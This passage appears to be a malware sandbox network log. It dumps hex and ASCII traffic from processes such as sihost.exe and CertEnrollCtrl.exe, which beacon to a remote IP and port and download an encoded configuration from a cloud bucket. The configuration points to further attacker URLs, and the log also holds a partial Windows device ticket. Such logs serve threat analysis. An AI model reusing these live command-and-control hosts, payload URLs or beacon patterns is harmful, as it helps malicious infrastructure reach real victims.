58 6e 66 62 37 6d 48 41 55 47 67 70 64 33 6a 6f 4a 61 6f 62 65 67 57 59 56 30 4f 41 49 63 36 58 79 56 63 56 46 6b 45 75 78 65 6c 30 74 44 61 43 75 48 30 35 68 52 66 6f 54 54 38 74 61 31 39 3a 72 5a 76 64 57 71 4c 37 55 6c 79 33 37 62 75 67 47 76 39 3a 62 61 43 71 62 4b 76 37 66 54 62 43 78 6b 67 68 68 4e 62 75 35 46 48 68 30 4f 57 33 4a 3b 4e 71 45 39 4d 36 72 30 4c 59 53 4d 55 76 38 54 37 4e 37 56 4f 64 4f 3b 67 63 71 48 6f 6e 4d 74 69 52 7a 68 77 35 6a 58 43 58 35 68 5a 41 62 64 65 34 63 53 76 65 65 46 4b 6b 58 44 7a 38 3a 63 57 35 6e 6d 6f 7a 5a 4c 4a 6c 45 49 30 73 49 6b 33 72 3a 39 48 58 4d 33 6a 7a 74 48 52 75 66 56 4f 78 56 66 77 37 52 35 31 71 68 79 6a 57 74 4b 39 62 6a 6d 76 62 69 72 74 58 47 34 32 43 51 55 4c 73 66 51 6f 58 32 39 67 65 6f 69 3a 61 32 6a 48 34 61 6e 4f 37 68 61 38 32 3a 61 78 3b 68 66 6a 39 34 4c 69 65 6f 30 6e 55 59 73 30 61 73 51 4a 61 56 6b 41 4a 51 4b 45 43 50 70 45 31 63 74 54 75 31 52 49 6c 34 4e 7a 77 4d 37 76 62 59 4b 33 36 75 4a 43 42 33 31 30 33 5a 53 4b 6f 56 51 66 4b 43 49 4d 58 72 46 68 37 59 4e 62 34 71 64 3b 67 4b 74 69 68 6d 64 75 4c 48 72 6d 58 55 31 42 77 33 35 4e 53 59 58 58 52 4a 7a 59 37 34 32 57 6a 79 56 47 34 6c 6a 6b 59 42 73 57 52 32 5a 68 39 42 74 77 44 4d 4d 39 55 76 31 66 71 69 59 7a 4a 43 59 53 6b 4d 54 6f 64 70 4a 67 43 57 49 78 6f 46 63 79 6f 4d 3a 61 35 6c 77 30 4f 35 32 47 53 4a 3a 72 4e 55 61 54 68 73 7a 6a 45 6e 6c 62 78 68 37 6f 51 64 67 44 45 78 56 68 70 31 4c 62 5a 73 52 54 6a 45 34 53 6f 71 4f 61 61 52 73 61 70 53 67 61 34 54 32 53 70 30 69 67 43 4b 4d 79 72 35 61 6f 41 41 48 78 65 38 76 64 7a 6e 70 66 6e 76 69 46 77 5a 6a 74 4b 47 78 48 6e 47 66 73 53 76 71 53 50 4b 74 41 69 4c 64 4f 4c 4f Data Ascii: 00004dbd00003a41kvAci!nqqKqyBl9rQttoeuDHNB3NFenNyZM;99OSeHDYJ5JF;QbrO;5RQcZ4Q8d7Hl7EIrT0rnEFf5MiKXp6apMgA8EBYxlBkXGyAGjC:eQ5;A6naa8o3h:TcTcUKrUN1Rhy;:DQTG9pJ3yb:oVdAczeAYHF2vQ5ug6H7BLnl:GI8ODqh9G8I1tLFJxnucH0sCkG:TJ43a3lgl9eiH1c69yWH;ZkqTQJhFJnxO73hfYhEquSInfgPfvM:IF8w6bBYx2O7K9lX2eEmi8OR3lX9pabwhBwooOhGmwKdsjGXH3K4iuLc789C35cYp6jxbV4CpfZ;sihYR0HlgEHNqGPoqZmzMZiqlu:y6j:F2UHs4P6YDemnsmisKFIhlNfrA1BzUN9snzQvtSbPAi7SKXkZylkGNi1::n2DXiUU:zHA:XkIQeWCXaTHwCdJhbe8xqJpnb3ieDPLzsV;D1RokKIi6WjrNjLcbXnfb7mHAUGgpd3joJaobegWYV0OAIc6XyVcVFkEuxel0tDaCuH05hRfoTT8ta19:rZvdWqL7Uly37bugGv9:baCqbKv7fTbCxkghhNbu5FHh0OW3J;NqE9M6r0LYSMUv8T7N7VOdO;gcqHonMtiRzhw5jXCX5hZAbde4cSveeFKkXDz8:cW5nmozZLJlEI0sIk3r:9HXM3jztHRufVOxVfw7R51qhyjWtK9bjmvbirtXG42CQULsfQoX29geoi:a2jH4anO7ha82:ax;hfj94Lieo0nUYs0asQJaVkAJQKECPpE1ctTu1RIl4NzwM7vbYK36uJCB3103ZSKoVQfKCIMXrFh7YNb4qd;gKtihmduLHrmXU1Bw35NSYXXRJzY742WjyVG4ljkYBsWR2Zh9BtwDMM9Uv1fqiYzJCYSkMTodpJgCWIxoFcyoM:a5lw0O52GSJ:rNUaThszjEnlbxh7oQdgDExVhp1LbZsRTjE4SoqOaaRsapSga4T2Sp0igCKMyr5aoAAHxe8vdznpfnviFwZjtKGxHnGfsSvqSPKtAiLdOLO
Apr 19, 2024 01:34:13.598721981 CEST	1289	IN	Data Raw: 69 3a 45 43 49 49 62 55 69 4d 38 7a 47 3a 3a 50 64 76 32 79 38 6d 35 7a 70 33 38 51 65 37 41 54 48 77 36 72 4e 6e 4a 63 41 35 4f 45 37 6d 5a 79 36 44 79 57 75 36 62 6d 31 72 56 63 6e 6a 76 57 55 6c 63 56 68 6f 61 51 4f 38 77 6f 76 6f 35 65 6d 38 Data Ascii: i:ECIIbUiM8zG::Pdv2y8m5zp38Qe7ATHw6rNnJcA5OE7mZy6DyWu6bm1rVcnjvWUlcVhoaQO8wovo5em82mUgfvAIAb;E9StoPGqYs9JIfGZ:ssEBk;crvkp09JYTeC2pu5AJh:8d7blx8cfLhTVfTIRooBLUuSkzNMJJ5p9LIhSTXqfxjIVdHAlztujZ4wERKXp3IIv8KUtr;erOcv5VFhcfxQTlec4mLaqx:OJ017JMDXn6P
Apr 19, 2024 01:34:13.610327005 CEST	1289	IN	Data Raw: 39 30 64 72 56 69 77 7a 30 34 4e 51 56 30 75 30 74 4c 56 50 4a 71 30 58 53 4c 45 76 77 48 78 69 6b 65 57 61 62 59 66 62 54 74 6f 69 73 54 37 71 39 78 4b 32 55 50 58 45 76 45 75 47 6f 39 35 51 42 6d 53 52 79 5a 4f 6e 47 48 53 45 31 6c 3a 59 67 39 Data Ascii: 90drViwz04NQV0u0tLVPJq0XSLEvwHxikeWabYfbTtoisT7q9xK2UPXEvEuGo95QBmSRyZOnGHSE1l:Yg9zN6qW7DsfZYSfFq6x1Gg0beea1xMAjPpAnc1VeVWxL5eWGcI0HFtbYkPYWPkUVDuxHhONDlRyY2poMKpLiQ9HDUAL5E6Q4jL3GRWXTGcDoRyQvNYiqsz3XmV7lXytBd8e4e3ay6an7XVuB91TQxTCG4cAtdD:tNCH
Apr 19, 2024 01:34:13.621978998 CEST	1289	IN	Data Raw: 57 53 3a 31 66 6e 33 61 3b 6a 77 4e 4a 4c 70 79 7a 3a 47 76 42 6f 47 74 48 78 57 45 6b 75 42 32 61 33 59 6a 68 59 56 65 49 4e 35 45 51 65 4b 56 5a 6a 78 66 39 52 57 4d 65 30 51 59 56 50 72 44 42 5a 59 37 75 69 59 6d 68 5a 59 41 70 45 36 34 4c 61 Data Ascii: WS:1fn3a;jwNJLpyz:GvBoGtHxWEkuB2a3YjhYVeIN5EQeKVZjxf9RWMe0QYVPrDBZY7uiYmhZYApE64LakUr;rxma;j2QOvzH56xutsoSN1xYCSZizOzoLiV4Nqg4;X9AWm9A47pkNsgfx52ijJ1BuBFx:bCDwwmLH0mznn4M4uTp58zV9ewVlNT86gmqasTHlUQnXnU6fkVmCv0hYfTe1Ii0YZL5YVfrobNr660;5t9H83;Hv
Apr 19, 2024 01:34:13.633682013 CEST	1289	IN	Data Raw: 65 3a 57 6a 3b 56 72 6f 79 53 63 33 50 6d 6e 55 50 49 6a 6a 52 6e 6d 33 34 71 64 45 52 53 66 59 6d 3a 53 31 3b 67 59 4a 43 74 77 48 4c 76 6e 4d 33 39 4a 38 55 6e 54 38 46 6b 37 42 74 68 47 53 70 44 4d 5a 67 38 7a 66 33 6f 6a 4a 46 34 33 56 74 75 Data Ascii: e:Wj;VroySc3PmnUPIjjRnm34qdERSfYm:S1;gYJCtwHLvnM39J8UnT8Fk7BthGSpDMZg8zf3ojJF43Vtu8Misd6Lt7Bv69HDCGSKkknwvmAR1NwzP9dMa3zPIDCk0ih6oaqOLSciBInUuKGBsEm4bBXz;uctTV42740bPqqLuCwQQkazK4pOjawZkJOErQLluyElijM:mYMNiLN0uYWuJIMtpNMOKW6Bc8yzepitywRWBNy83T
Apr 19, 2024 01:34:13.645411968 CEST	1289	IN	Data Raw: 6f 6e 51 47 32 38 6c 33 4a 44 53 58 69 6a 4a 69 69 4d 34 7a 57 39 63 4b 67 76 47 6a 37 6a 38 7a 58 3a 34 67 61 59 74 4f 4b 5a 4f 79 66 4d 47 79 4a 78 45 4b 52 4e 6a 41 50 58 3a 39 41 4c 31 42 52 43 53 32 4e 67 79 78 63 48 69 53 46 79 4c 3a 35 67 Data Ascii: onQG28l3JDSXijJiiM4zW9cKgvGj7j8zX:4gaYtOKZOyfMGyJxEKRNjAPX:9AL1BRCS2NgyxcHiSFyL:5g6gJYchH6pnJZD35lAfhlO8iYoqXZQA:S4RxOL4cO8AHrLLSzoyDNlCKRFax19J7GvMArsJ2:kM;UyZBcK08svWrTlNjvF8F2oxBel1hsBOapv0XJkSUta5aZKRfP;4HN6QAYjHeaXyXNjCgq5Kqfc8AVaTttzHazY
Apr 19, 2024 01:34:13.657354116 CEST	1289	IN	Data Raw: 69 41 6b 4b 32 51 6d 46 44 68 69 70 73 61 68 47 3a 78 31 54 50 4a 78 45 74 37 45 51 39 65 56 52 32 53 71 65 32 59 78 62 55 53 47 56 3b 64 48 56 67 71 6d 72 71 36 4c 68 30 79 4b 74 3a 33 62 4e 71 79 64 30 70 76 74 54 73 58 52 70 62 38 7a 3b 53 49 Data Ascii: iAkK2QmFDhipsahG:x1TPJxEt7EQ9eVR2Sqe2YxbUSGV;dHVgqmrq6Lh0yKt:3bNqyd0pvtTsXRpb8z;SIilL;lGpTRcSv7yOYeSrJfIdYZyvydmKr:tDuomHNFeWTNpZjqI7TSBWmQpCjY0Sgnz8mV6RtxVe7wom7rkvAel2mk5GB6bn5gyeL;ozAhL0dzUoVMfY30CNO4Bo54WFDtVCX1G9YJdzvDM36AFN5n:wK39ZFPwAbI
Apr 19, 2024 01:34:13.668970108 CEST	1289	IN	Data Raw: 36 71 63 52 61 70 55 56 34 56 56 53 4a 53 62 59 72 43 68 47 46 41 57 4e 72 61 77 58 41 69 4f 58 65 34 34 42 65 57 49 51 56 42 6b 64 54 44 39 64 67 36 6b 74 37 30 41 79 5a 53 6f 62 54 51 51 7a 3a 67 38 76 6c 64 31 48 4a 70 62 4d 72 6a 66 62 65 5a Data Ascii: 6qcRapUV4VVSJSbYrChGFAWNrawXAiOXe44BeWIQVBkdTD9dg6kt70AyZSobTQQz:g8vld1HJpbMrjfbeZOcLxEajB0FDPGRSW0J7tmMsQnM5RPQHFGjRrC2JsOyePIZChn:xeJAXgGw1NnvmRHMV9THxgGLPxnARjKEmAnKesQS3lF3YQWzBXU8nMra;rgOiS1oBe6YI5JlVOnywGZBuRqkYCCW4B5i8cLvRUxHoqkcKGEI:sr
Apr 19, 2024 01:34:13.680906057 CEST	1289	IN	Data Raw: 4b 57 74 37 55 31 41 67 77 75 72 46 66 71 70 69 41 79 59 57 78 4c 3a 48 63 78 71 72 34 65 34 56 35 46 41 6a 52 66 63 6f 49 74 53 57 30 79 3a 30 4b 79 73 76 3b 32 51 4f 44 63 6d 6c 4c 48 55 31 3b 71 44 48 67 77 3b 46 68 6e 67 3b 50 72 7a 32 53 38 Data Ascii: KWt7U1AgwurFfqpiAyYWxL:Hcxqr4e4V5FAjRfcoItSW0y:0Kysv;2QODcmlLHU1;qDHgw;Fhng;Prz2S8EmOQ:SUQzQDTFuPvpRS2upY2KNRWQ9HxYAxUtMkFsZLE4qWNJTA:yKZ0N3lyPxC2jw;mchooDAT5Jnw6J6UthIi5NCg8:VYAEvUsareITqZvPfk4ChxgFerqv724CNirH2pKjQ5h7Edw397DLZbNqckTwiMmvC;uf
Apr 19, 2024 01:34:13.692521095 CEST	1289	IN	Data Raw: 6c 49 4b 4b 4f 66 43 75 4c 45 59 31 59 6c 46 76 64 57 71 51 54 51 42 79 62 62 48 6f 45 61 6c 77 59 4e 35 75 61 78 68 54 50 4d 4f 3b 4e 34 33 71 3a 6d 49 65 78 75 6a 41 6f 6c 64 37 43 65 63 55 79 35 42 7a 74 63 67 53 56 56 31 6d 30 55 31 6c 46 77 Data Ascii: lIKKOfCuLEY1YlFvdWqQTQBybbHoEalwYN5uaxhTPMO;N43q:mIexujAold7CecUy5BztcgSVV1m0U1lFwQRg9u2WFtRYyPEzJ7NIPx2J;fYshhUl52ZxErCqku4AQ2CeqZgvhYf2raay5I807ZMo34NiaHdURNx9M2IuMbcfDcp8BNqLV7kVNYHuRpWQAnvEiTDTjo6jJbqSzNqP0KPr3eaziB:0QoRMeVuDl0:jOlp1IvnElg
Apr 19, 2024 01:34:13.930552006 CEST	1289	IN	Data Raw: 53 4a 55 71 4f 63 55 76 36 50 37 57 65 79 43 50 41 75 34 57 54 65 69 54 65 59 4a 6a 44 72 69 37 4f 67 50 75 63 6d 71 58 79 6f 47 6d 4d 66 75 72 6d 77 53 59 70 33 34 67 50 35 48 74 4b 44 77 57 56 4e 47 76 4a 63 4e 72 54 51 70 37 58 4d 43 49 4e 43 Data Ascii: SJUqOcUv6P7WeyCPAu4WTeiTeYJjDri7OgPucmqXyoGmMfurmwSYp34gP5HtKDwWVNGvJcNrTQp7XMCINCBZAwxJlOIOtq6fnNT7IH8VjYvw6y:O0PD64:jwvXpKXkbohNjjZgjPSstKcgyetJ5ACpFGPEUt5qMUeu5A4Dvxx;0MDDbFTelusGU3Bgm77QrMiZLS1wHQz:MrnwJqqIe09PlP;Do8a72nI37EAx39UBQBmImlNjA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49750	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:14.241051912 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:34:14.869280100 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49751	47.56.33.29	80	7124	C:\Windows\SysWOW64\CertEnrollCtrl.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:14.316689014 CEST	75	OUT	GET /32/pk20.txt HTTP/1.1 Host: cq-aliyun.oss-cn-hongkong.aliyuncs.com
Apr 19, 2024 01:34:14.640738964 CEST	1289	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 18 Apr 2024 23:34:14 GMT Content-Type: text/plain Content-Length: 1980 Connection: keep-alive Vary: Accept-Encoding x-oss-request-id: 6621ADF6DA8A79333900DA2B Accept-Ranges: bytes ETag: "4BCDFF3F940136EFD09F78006D2F6829" Last-Modified: Thu, 18 Apr 2024 17:06:13 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 247848611696714620 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: S83/P5QBNu/Qn3gAbS9oKQ== x-oss-server-time: 1 Data Raw: 39 39 32 38 32 35 37 65 32 46 77 63 43 34 34 4d 7a 6c 6c 59 57 51 30 5a 69 35 6a 63 33 4d 39 4e 58 77 7a 4f 54 46 6c 5a 44 5a 6d 4f 53 35 6a 63 33 4d 39 4e 58 78 68 63 48 41 75 5a 47 45 78 5a 6d 4a 6a 59 54 4d 75 61 6e 4d 39 4d 54 42 38 73 36 79 78 35 44 30 32 66 43 56 31 4f 45 51 34 4e 53 56 31 4e 54 4e 45 4f 44 30 32 66 4d 36 69 73 65 51 39 4e 58 77 6c 64 54 56 47 51 55 55 6c 64 54 55 7a 52 44 67 39 4e 58 7a 57 30 4c 48 6b 50 54 56 38 4a 58 55 30 52 54 4a 45 4a 58 55 31 4d 30 51 34 50 54 56 38 31 74 44 58 67 7a 30 31 66 4d 66 68 73 65 51 39 4e 58 77 6c 64 54 68 47 4e 30 49 6c 64 54 55 7a 52 44 67 39 4e 58 79 2f 7a 62 66 2b 55 56 45 39 4e 58 79 31 70 64 61 77 30 72 55 39 4e 6e 77 6c 64 54 55 7a 4e 54 55 6c 64 54 67 77 4e 47 4d 6c 64 54 52 6c 4d 57 45 39 4e 6e 7a 4c 71 38 2f 66 50 54 56 38 4a 58 55 31 4d 32 4e 6a 4a 58 55 33 5a 57 4a 6d 50 54 56 38 7a 61 6a 50 2f 4e 62 44 74 71 55 39 4e 58 7a 4e 71 4d 2f 38 7a 63 61 38 39 6a 30 31 66 43 56 31 4f 54 41 78 59 53 56 31 4e 57 4a 69 4e 53 56 31 4e 6a 4e 68 4f 43 56 31 4f 44 4d 31 4d 44 30 31 66 4d 32 6f 7a 2f 7a 4e 78 72 7a 34 50 54 56 38 74 65 4f 37 39 37 4c 70 76 37 51 39 4e 6e 77 6c 64 54 63 77 59 6a 6b 6c 64 54 55 78 5a 6d 49 6c 64 54 59 33 5a 54 55 6c 64 54 63 33 4d 47 49 39 4e 6e 7a 4a 6f 73 6a 4c 50 54 4a 38 75 73 2b 7a 79 54 30 79 66 4d 7a 59 76 65 51 39 4d 6e 7a 58 73 4c 47 34 76 2f 47 78 72 44 30 32 66 43 56 31 4f 44 68 6a 4e 53 56 31 4e 54 6b 77 4e 79 56 31 4e 7a 4a 6a 4d 69 56 31 4e 7a 49 77 4e 6a 30 32 66 4e 65 77 73 62 6a 49 71 37 47 73 50 54 5a 38 4a 58 55 34 4f 47 4d 31 4a 58 55 31 4f 54 41 33 4a 58 55 31 4d 54 59 34 4a 58 55 33 4d 6a 41 32 50 54 5a 38 73 4f 61 78 76 72 33 70 79 64 77 39 4e 58 77 6c 64 54 63 79 4e 44 67 6c 64 54 59 33 4d 6b 4d 6c 64 54 52 46 51 30 49 6c 64 54 64 46 51 30 51 39 4e 58 79 33 2f 73 37 78 78 76 66 44 2b 7a 30 7a 66 4c 66 2b 7a 76 48 47 39 30 6c 51 50 54 4e 38 76 36 71 37 2b 73 71 78 76 4f 51 39 4d 33 7a 50 33 38 4b 33 77 4f 44 51 7a 54 30 7a 66 4c 72 50 75 2f 63 39 4e 58 79 78 2b 64 47 70 50 54 56 38 74 50 4f 38 71 38 61 33 50 54 56 38 77 39 54 4b 70 7a 30 31 4f 7a 49 77 4f 33 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 38 Data Ascii: 9928257e2FwcC44MzllYWQ0Zi5jc3M9NXwzOTFlZDZmOS5jc3M9NXxhcHAuZGExZmJjYTMuanM9MTB8s6yx5D02fCV1OEQ4NSV1NTNEOD02fM6iseQ9NXwldTVGQUUldTUzRDg9NXzW0LHkPTV8JXU0RTJEJXU1M0Q4PTV81tDXgz01fMfhseQ9NXwldThGN0IldTUzRDg9NXy/zbf+UVE9NXy1pdaw0rU9NnwldTUzNTUldTgwNGMldTRlMWE9NnzLq8/fPTV8JXU1M2NjJXU3ZWJmPTV8zajP/NbDtqU9NXzNqM/8zca89j01fCV1OTAxYSV1NWJiNSV1NjNhOCV1ODM1MD01fM2oz/zNxrz4PTV8teO797Lpv7Q9NnwldTcwYjkldTUxZmIldTY3ZTUldTc3MGI9NnzJosjLPTJ8us+zyT0yfMzYveQ9MnzXsLG4v/GxrD02fCV1ODhjNSV1NTkwNyV1NzJjMiV1NzIwNj02fNewsbjIq7GsPTZ8JXU4OGM1JXU1OTA3JXU1MTY4JXU3MjA2PTZ8sOaxvr3pydw9NXwldTcyNDgldTY3MkMldTRFQ0IldTdFQ0Q9NXy3/s7xxvfD+z0zfLf+zvHG90lQPTN8v6q7+sqxvOQ9M3zP38K3wODQzT0zfLrPu/c9NXyx+dGpPTV8tPO8q8a3PTV8w9TKpz01OzIwO3NyYz0iaHR0cHM6Ly8
Apr 19, 2024 01:34:14.640765905 CEST	1262	IN	Data Raw: 30 4e 79 34 31 4e 79 34 79 4d 7a 67 75 4e 44 67 76 63 47 73 76 62 43 35 77 61 48 41 2f 59 32 6c 6b 50 54 45 77 4d 44 41 77 4d 44 49 77 4a 6e 52 74 50 53 56 31 49 69 7a 55 32 73 2f 66 31 38 6e 52 72 7a 30 32 66 4e 54 61 7a 39 2b 2f 7a 62 66 2b 50 Data Ascii: 0Ny41Ny4yMzguNDgvcGsvbC5waHA/Y2lkPTEwMDAwMDIwJnRtPSV1IizU2s/f18nRrz02fNTaz9+/zbf+PTZ8c3RhdGljLm1laXFpYS5jb209MTV8ssrGsdPOz7c9NnyyysaxzbbXoj02fMmzsM3M5dP9PTZ8QUfG7L2iPTZ8tefX09POPTZ8QUe5+rzKPTZ8fEJH1ebIyz02fEJCSU7V5sjLPTZ8TUe159fTPTZ8UFS159fTPT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49754	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:15.428251028 CEST	65	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 144
Apr 19, 2024 01:34:16.056931973 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49755	8.212.47.137	8379	3368	C:\Windows\System32\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 01:34:16.608413935 CEST	64	OUT	POST / HTTP/1.1 Host: 8.212.47.137:8379 Content-Length: 96
Apr 19, 2024 01:34:17.252907038 CEST	207	IN	HTTP/1.1 200 OK Server: nginx/1.16.0 Date: Thu, 18 Apr 2024 23:34:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.3.29 Data Raw: 31 0d 0a 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 110

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49718	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 38 6e 49 6c 73 54 65 51 30 69 51 4f 51 5a 78 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 38 32 66 31 65 32 31 61 32 66 38 62 30 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: i8nIlsTeQ0iQOQZx.1Context: 7c82f1e21a2f8b0b
2024-04-18 23:33:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:33:06 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 69 38 6e 49 6c 73 54 65 51 30 69 51 4f 51 5a 78 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 38 32 66 31 65 32 31 61 32 66 38 62 30 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: i8nIlsTeQ0iQOQZx.2Context: 7c82f1e21a2f8b0b<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:33:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 69 38 6e 49 6c 73 54 65 51 30 69 51 4f 51 5a 78 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 38 32 66 31 65 32 31 61 32 66 38 62 30 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: i8nIlsTeQ0iQOQZx.3Context: 7c82f1e21a2f8b0b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:33:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:33:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 71 44 58 64 4d 4f 64 55 45 65 75 30 66 67 49 5a 6e 50 65 49 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dqDXdMOdUEeu0fgIZnPeIw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49720	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:33:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 51 37 37 53 43 42 4e 76 30 47 38 77 76 6e 7a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 32 32 63 39 30 30 61 31 32 31 63 65 35 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: UQ77SCBNv0G8wvnz.1Context: e022c900a121ce54
2024-04-18 23:33:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 